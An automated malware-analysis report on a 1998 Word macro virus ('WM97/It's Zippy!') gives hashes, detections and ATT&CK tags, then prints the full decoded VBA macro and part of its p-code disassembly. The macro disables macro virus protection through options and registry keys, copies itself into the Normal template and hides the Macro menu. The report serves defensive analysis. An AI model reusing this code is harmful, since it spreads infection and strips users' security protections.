Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 896fcc0d0c32ff83…

MALICIOUS

Office (OLE)

36.5 KB Created: 1998-12-18 02:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 687eeb778723dea65501c22a673c596e SHA-1: 4b7aa826631aa80859dbc44008ee56b75d32d752 SHA-256: 896fcc0d0c32ff837d4cceee88bd8f01f9b96c8e915fb765e08f111d1a351991
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristics indicating the presence of VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon opening a document. The VBA script attempts to export components and modify registry keys, suggesting an effort to download and execute a secondary payload. The document body's content is unrelated to the malicious functionality.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-13
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9528 bytes
SHA-256: e81885a783f7c99939c35cb16822adf564953c38699bef520c50a9142b7c4430
Detection
ClamAV: Doc.Trojan.Class-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo ldr
Options.VirusProtection = Chr(48): Options.SaveNormalPrompt = Chr(48): Options.ConfirmConversions = Chr(48): vx = 1: xv = 4: x = 0: z = 0: y = 0
xrt = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines

xst = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines
If xst > Sgn(x) And xrt > Sgn(x) Then GoTo ldr
If xst = Sgn(x) Then
    Set czy = NormalTemplate.VBProject.VBComponents
    
    Set hst = ActiveDocument.VBProject.VBComponents
    If Month(Now()) > 1 And Day(Now()) = 15 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "It's Zippy!"
    hst.Item(Cos(Atn(CInt(1)))).Name = czy.Item(Cos(Atn(CInt(1)))).Name
    hst.Item(Cos(Atn(CInt(1)))).Export Windows.Application.Path & Chr(46) + Chr(100) + Chr(108) + Chr(108)

End If
If xrt = Sgn(x) Then Set czy = ActiveDocument.VBProject.VBComponents
czy.Item(Cos(Atn(CInt(1)))).codemodule.AddFromFile Windows.Application.Path & Chr(46) + Chr(100) + Chr(108) + Chr(108)
With czy.Item(Cos(Atn(CInt(1)))).codemodule
    
    For j = Abs(vx) To Abs(xv)
    .deletelines Abs(vx)
        Next j
End With

With czy.Item(Cos(Atn(CInt(1)))).codemodule
For j = Chr(53) To 40 Step Chr(53)
    y = Int(Rnd(412835) * 503989) + 8485: z = Int(Rnd(684958) * 385865) + 2988
    .replaceline j, Chr(39) & y * y & z * z & y * y * z * z & y * y & z * z & y * y & z * z
     
     Next j
End With
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"

If xst = Sgn(x) Then CommandBars(Chr(116) + Chr(111) + Chr(111) + Chr(108) + Chr(115)).Controls(Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111)).Delete
If xst = Sgn(x) Then czy.Item(Cos(Atn(CInt(1)))).codemodule.replaceline Abs(vx), "Sub AutoClose()"
If xst = Sgn(x) And xrt = Sgn(x) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ldr:

If xst <> Sgn(x) And xrt = Sgn(x) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub 'WM97/It's Zippy! by Virus :) Smile

' Processing file: /opt/analyzer/scan_staging/d3f6d94350604d008108e1320571055f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4347 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError ldr 
' Line #2:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	BoS 0x0000 
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	St vx 
' 	BoS 0x0000 
' 	LitDI2 0x0004 
' 	St xv 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St x 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St z 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St y 
' Line #3:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St xrt 
' Line #4:
' Line #5:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St xst 
' Line #6:
' 	Ld xst 
' 	Ld x 
' 	FnSgn 
' 	Gt 
' 	Ld xrt 
' 	Ld x 
' 	FnSgn 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo ldr 
' 	EndIf 
' Line #7:
' 	Ld xst 
' 	Ld x 
' 	FnSgn 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set czy 
' Line #9:
' Lin
... (truncated)

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